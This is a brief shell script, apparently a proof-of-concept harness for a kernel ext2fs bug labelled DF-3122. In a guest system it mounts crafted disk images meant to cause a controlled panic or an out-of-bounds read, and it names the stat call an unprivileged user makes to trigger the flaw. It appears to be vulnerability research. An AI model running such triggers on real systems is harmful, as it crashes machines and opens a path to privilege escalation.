#!/bin/sh
# DF-3122 run (guest): attach crafted image, mount RW, trigger as maxx.
# Stage: pass a1.img (controlled panic) or a2.img (OOB probe).
IMG=${1:-/root/a1.img}
set -e
kldload ext2fs 2>/dev/null || true
/root/vntool detach 0 2>/dev/null || true
/root/vntool attach 0 "$IMG"
mkdir -p /mnt/e2
mount -t ext2fs /dev/vn0 /mnt/e2
chmod 777 /mnt/e2/d
echo "mounted $IMG RW; readdir sees: $(ls /mnt/e2/d | wc -l) entries"
echo "trigger (as unprivileged user): stat /mnt/e2/d/zzqq01"